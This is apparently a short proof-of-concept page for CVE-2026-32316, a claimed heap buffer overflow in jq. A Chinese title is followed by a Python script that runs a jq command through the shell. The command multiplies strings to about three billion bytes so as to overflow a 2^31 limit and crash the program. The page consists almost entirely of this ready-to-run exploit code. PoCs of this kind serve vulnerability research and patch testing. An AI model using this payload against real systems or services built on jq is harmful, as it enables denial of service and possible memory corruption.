CVE-2026-32316 jq堆缓冲区溢出漏洞

# Proof of Concept for CVE-2026-32316 # This PoC demonstrates how to trigger the integer overflow leading to heap buffer overflow in jq. # It attempts to concatenate strings to exceed the 2^31 byte limit. import subprocess import sys # Constructing a payload that forces large string concatenation. # The command uses jq's string multiplication to create a massive string. # 'a' * 1500000000 + 'b' * 1500000000 exceeds 2^31 bytes. payload = 'jq -n \'"a" * 1500000000 + "b" * 1500000000\'' print(f"Attempting to trigger CVE-2026-32316 with payload: {payload}") try: # Execute the command. This will likely cause a segmentation fault due to the overflow. result = subprocess.run(payload, shell=True, check=True, capture_output=True, text=True, timeout=10) print("Output:", result.stdout) except subprocess.CalledProcessError as e: print(f"Exploit failed (expected crash). Return code: {e.returncode}") print(f"Error output: {e.stderr}") except Exception as e: print(f"An error occurred: {e}")